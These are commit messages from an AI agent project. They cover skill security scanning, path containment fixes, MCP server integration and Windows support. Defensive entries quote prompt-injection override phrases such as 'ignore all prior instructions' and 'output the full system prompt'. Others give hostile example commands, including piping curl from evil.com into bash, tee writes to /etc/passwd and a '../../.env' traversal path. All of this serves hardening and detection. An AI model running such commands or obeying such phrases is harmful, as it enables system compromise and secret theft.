Authored by aydnOktay. Adds TimeoutError handling for session summarization,
better exception specificity in _format_timestamp, defensive try/except in
_resolve_to_parent, and type hints.
Authored by 0xbyt4.
The dedup logic in GitHubSource.search() and unified_search() used
'r.trust_level == "trusted"' which let trusted results overwrite builtin
ones. Now uses ranked comparison: builtin (2) > trusted (1) > community (0).
Authored by Farukest. Fixes#389.
Replaces hardcoded forward-slash string checks ('/.git/', '/.hub/') with
Path.parts membership test in _find_all_skills() and scan_skill_commands().
On Windows, str(Path) uses backslashes so the old filter never matched,
causing quarantined skills to appear as installed.
Authored by Farukest. Fixes#387.
Removes 'and not force' from the dangerous verdict check so --force
can never install skills with critical security findings (reverse shells,
data exfiltration, etc). The docstring already documented this behavior
but the code didn't enforce it.
Authored by Farukest. Fixes#385.
Replaces startswith() with Path.is_relative_to() in _check_structure()
symlink escape check — same fix pattern as skill_view() (PR #352).
Prevents symlinks escaping to sibling directories with shared name prefixes.
Some models send session_id as an integer instead of a string, causing
type errors downstream. Defensively cast session_id and write/submit
data args to str to handle non-compliant model outputs.
get_definitions() already wrapped check_fn() calls in try/except,
but is_toolset_available() did not. A failing check (network error,
missing import, bad config) would propagate uncaught and crash the
CLI banner, agent startup, and tools-info display.
Now is_toolset_available() catches all exceptions and returns False,
matching the existing pattern in get_definitions().
Added 4 tests covering exception handling in is_toolset_available(),
check_toolset_requirements(), get_definitions(), and
check_tool_availability().
Closes#402
The hidden directory filter used hardcoded forward-slash strings like
'/.git/' and '/.hub/' to exclude internal directories. On Windows,
Path returns backslash-separated strings, so the filter never matched.
This caused quarantined skills in .hub/quarantine/ to appear as
installed skills and available slash commands on Windows.
Replaced string-based checks with Path.parts membership test which
works on both Windows and Unix.
The docstring states --force should never override dangerous verdicts,
but the condition `if result.verdict == "dangerous" and not force`
allowed force=True to skip the early return. Execution then fell
through to `if force: return True`, bypassing the policy block.
Removed `and not force` so dangerous skills are always blocked
regardless of the --force flag.
The symlink escape check in _check_structure() used startswith()
without a trailing separator. A symlink resolving to a sibling
directory with a shared prefix (e.g. 'axolotl-backdoor') would pass
the check for 'axolotl' since the string prefix matched.
Replaced with Path.is_relative_to() which correctly handles directory
boundaries and is consistent with the skill_view path check.
session_search was returning the current session if it matched the
query, which is redundant — the agent already has the current
conversation context. This wasted an LLM summarization call and a
result slot.
Added current_session_id parameter to session_search(). The agent
passes self.session_id and the search filters out any results where
either the raw or parent-resolved session ID matches. Both the raw
match and the parent-resolved match are checked to handle child
sessions from delegation.
Two tests added verifying the exclusion works and that other
sessions are still returned.
Systematic audit of all prompt injection regexes in skills_guard.py
found 8 more patterns with the same single-word gap vulnerability
fixed in PR #192. Multi-word variants like 'pretend that you are',
'output the full system prompt', 'respond without your safety
filters', etc. all bypassed the scanner.
Fixed patterns:
- you are [now] → you are [... now]
- do not [tell] the user → do not [... tell ... the] user
- pretend [you are|to be] → pretend [... you are|to be]
- output the [system|initial] prompt → output [... system|initial] prompt
- act as if you [have no] [restrictions] → act as if [... you ... have no ... restrictions]
- respond without [restrictions] → respond without [... restrictions]
- you have been [updated] to → you have been [... updated] to
- share [the] [entire] [conversation] → share [... conversation]
All use (?:\w+\s+)* to allow arbitrary intermediate words.
The 'disregard ... instructions/rules/guidelines' regex had the
same single-word gap vulnerability as the 'ignore' pattern fixed
in PR #192. 'disregard all your instructions' bypassed the scanner.
Added (?:\w+\s+)* between both keyword groups to allow arbitrary
intermediate words.
Authored by 0xbyt4.
The 'ignore ... instructions' regex only matched a single word between
'ignore' and the keyword (previous/all/above/prior). Multi-word variants
like 'ignore all prior instructions' bypassed the scanner entirely.
Replace the string-based startswith + os.sep approach with
Path.is_relative_to() (Python 3.9+, we require 3.10+). This is
the idiomatic pathlib way to check path containment — it handles
separators, case sensitivity, and the equal-path case natively
without string manipulation.
Simplified tests to match: removed the now-unnecessary
test_separator_is_os_native test since is_relative_to doesn't
depend on separator choice.
Improvements to the HA integration merged from PR #184:
- Add ha_list_services tool: discovers available services (actions) per
domain with descriptions and parameter fields. Tells the model what
it can do with each device type (e.g. light.turn_on accepts brightness,
color_name, transition). Closes the gap where the model had to guess
available actions.
- Add HA to hermes tools config: users can enable/disable the homeassistant
toolset and configure HASS_TOKEN + HASS_URL through 'hermes tools' setup
flow instead of manually editing .env.
- Fix should-fix items from code review:
- Remove sys.path.insert hack from gateway adapter
- Replace all print() calls with proper logger (info/warning/error)
- Move env var reads from import-time to handler-time via _get_config()
- Add dedicated REST session reuse in gateway send()
- Update ha_call_service description to reference ha_list_services for
action discovery.
- Update tests for new ha_list_services tool in toolset resolution.
- Add scripts/install.cmd batch wrapper for CMD users (delegates to install.ps1)
- Add _find_shell() in local.py: detects Git Bash on Windows via
HERMES_GIT_BASH_PATH env var, shutil.which, or common install paths
(same pattern as Claude Code's CLAUDE_CODE_GIT_BASH_PATH)
- Use _find_shell() in process_registry.py for background processes
- Fix hermes_cli/gateway.py: use wmic instead of ps aux on Windows,
skip SIGKILL (doesn't exist on Windows), fix venv path
(Scripts/python.exe vs bin/python)
- Update README with three install commands (Linux/macOS, PowerShell, CMD)
and Windows native documentation
Requires Git for Windows, which bundles bash.exe. The terminal tool
transparently uses Git Bash for shell commands regardless of whether
the user launched hermes from PowerShell or CMD.
Banner integration:
- MCP Servers section in CLI startup banner between Tools and Skills
- Shows each server with transport type, tool count, connection status
- Failed servers shown in red; section hidden when no MCP configured
- Summary line includes MCP server count
- Removed raw print() calls from discovery (banner handles display)
/reload-mcp command:
- New slash command in both CLI and gateway
- Disconnects all MCP servers, re-reads config.yaml, reconnects
- Reports what changed (added/removed/reconnected servers)
- Allows adding/removing MCP servers without restarting
Resources & Prompts support:
- 4 utility tools registered per server: list_resources, read_resource,
list_prompts, get_prompt
- Exposes MCP Resources (data sources) and Prompts (templates) as tools
- Proper parameter schemas (uri for read_resource, name for get_prompt)
- Handles text and binary resource content
- 23 new tests covering schemas, handlers, and registration
Test coverage: 74 MCP tests total, 1186 tests pass overall.
- Discovery is now parallel (asyncio.gather) instead of sequential,
fixing the 60s shared timeout issue with multiple servers
- Startup messages use print() so users see connection status even
with default log levels (the 'tools' logger is set to ERROR)
- Summary line shows total tools and failed servers count
- Validate conflicting config: warn if both 'url' and 'command' are
present (HTTP takes precedence)
- Update TODO.md: mark MCP as implemented, list remaining work
- Add test for conflicting config detection (51 tests total)
All 1163 tests pass.
- Add threading.Lock protecting all shared state (_servers, _mcp_loop, _mcp_thread)
- Fix deadlock in shutdown_mcp_servers: _stop_mcp_loop was called inside
a _lock block but also acquires _lock (non-reentrant)
- Fix race condition in _ensure_mcp_loop with concurrent callers
- Change idempotency to per-server (retry failed servers, skip connected)
- Dynamic toolset injection via startswith("hermes-") instead of hardcoded list
- Parallel shutdown via asyncio.gather instead of sequential loop
- Add tests for partial failure retry, parallel shutdown, dynamic injection
When discover_mcp_tools() is called multiple times (e.g. direct call
then model_tools import), return existing tool names instead of opening
new connections that would orphan the previous ones.
Refactor MCP connections from AsyncExitStack to task-per-server
architecture. Each server now runs as a long-lived asyncio Task
with `async with stdio_client(...)`, ensuring anyio cancel-scope
cleanup happens in the same Task that opened the connection.
Connect to external MCP servers via stdio transport, discover their tools
at startup, and register them into the hermes-agent tool registry.
- New tools/mcp_tool.py: config loading, server connection via background
event loop, tool handler factories, discovery, and graceful shutdown
- model_tools.py: trigger MCP discovery after built-in tool imports
- cli.py: call shutdown_mcp_servers in _run_cleanup
- pyproject.toml: add mcp>=1.2.0 as optional dependency
- 27 unit tests covering config, schema conversion, handlers, registration,
SDK interaction, toolset injection, graceful fallback, and shutdown
Config format (in ~/.hermes/config.yaml):
mcp_servers:
filesystem:
command: "npx"
args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
skill_view accepted arbitrary file_path values like '../../.env' and
would read files outside the skill directory, exposing API keys and
other sensitive data.
Added two layers of defense:
1. Reject paths with '..' components (fast, catches obvious traversal)
2. resolve() containment check with trailing '/' to prevent prefix
collisions (catches symlinks and edge cases)
Fix approach from PR #242 (@Bartok9). Vulnerability reported by
@Farukest (#220, PR #221). Tests rewritten to properly mock SKILLS_DIR.
Closes#220
The Docker sandbox previously used --read-only on the root filesystem and
noexec on /tmp. This broke 30+ skills that need to install packages:
- npm install -g (codex, claude-code, mcporter, powerpoint)
- pip install (20+ mlops/media/productivity skills)
- apt install (minecraft-modpack-server, ml-paper-writing)
- Build tools that compile in /tmp (pip wheels, node-gyp)
The container is already fully isolated from the host. Industry standard
(E2B, Docker Sandboxes, OpenAI Codex) does not use --read-only — the
container itself is the security boundary.
Retained security hardening:
- --cap-drop ALL (zero capabilities)
- --security-opt no-new-privileges (no escalation)
- --pids-limit 256 (no fork bombs)
- Size-limited tmpfs for /tmp, /var/tmp, /run
- nosuid on all tmpfs mounts
- noexec on /var/tmp and /run (rarely need exec there)
- Resource limits (CPU, memory, disk)
- Ephemeral containers (destroyed after use)
Fixes#189.
logger.error() only records the exception message string, silently
discarding the stack trace. Switch to logger.exception() which
automatically appends the full traceback to the log output.
Without this change, when a tool handler raises an unexpected error
the log shows only the exception type and message, making it
impossible to determine which line caused the failure or trace
through nested calls.
Updated documentation within terminal_tool.py to emphasize the appropriate use of foreground and background processes. Enhanced descriptions for the timeout setting and background execution to guide users towards optimal configurations for scripts, builds, and long-running tasks. Adjusted the default timeout value from 60 to 180 seconds for improved handling of longer operations.
Updated the environment variables for subprocess execution in the ProcessRegistry class to set PYTHONUNBUFFERED to "1". This change ensures that output from Python scripts is unbuffered, allowing for real-time visibility of progress during background execution. Adjusted both the pty and background process spawning methods to use the new environment configuration.
